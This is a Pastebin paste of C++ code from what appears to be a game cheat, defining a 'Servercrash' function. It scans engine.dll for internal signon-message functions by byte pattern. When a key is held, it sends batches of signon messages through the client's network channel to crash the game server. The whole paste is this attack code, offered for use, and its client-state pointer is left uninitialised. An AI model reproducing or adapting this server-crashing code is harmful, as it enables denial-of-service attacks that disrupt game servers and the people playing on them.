Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void CMisc::Servercrash()
- {/*
- static auto NewSignonMsg = reinterpret_cast<void(__thiscall*)(void*, int, int)>(CSX::Memory::FindPatternV2("engine.dll", "55 8B EC 56 57 8B F9 8D 4F 04 C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? C7"));
- static auto ClearSignonMsg = reinterpret_cast<void(__thiscall*)(void*)>(CSX::Memory::FindPatternV2("engine.dll", "53 56 57 8B F9 8D ?? 38 C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B"));*/
- static auto NewSignonMsg = reinterpret_cast<void(__thiscall*)(void*, int, int)>(CSX::Memory::FindPatternV2("engine.dll", "55 8B EC 56 57 8B F9 8D 4F 04 C7 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? C6 ?? ?? ?? C7"));
- static auto ClearSignonMsg = reinterpret_cast<void(__thiscall*)(void*)>(CSX::Memory::FindPatternV2("engine.dll", "53 56 57 8B F9 8D ?? 38 C7 ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B"));
- void* pSignonMsg = malloc(76);
- static int nTotalSentSignon = 0;
- static int totalAmount = 300;
- static int amountPerTick = 60;
- typedef INetChannel*(__thiscall* OriginalFn)(void*, bool, bool);
- CClientState *g_ClientState;
- if (Settings::Misc::misc_ServerCrasher)
- {
- if (GetAsyncKeyState(VK_KEYBOARDV))
- {
- if (nTotalSentSignon < totalAmount)
- {
- NewSignonMsg(pSignonMsg, 6, g_ClientState->m_nServerCount);
- for (int i = 0; i < amountPerTick; i++)
- {
- GetMethod< OriginalFn >(g_ClientState->m_NetChannel, 42)(pSignonMsg, false, false);
- }
- ClearSignonMsg(pSignonMsg);
- nTotalSentSignon += amountPerTick;
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement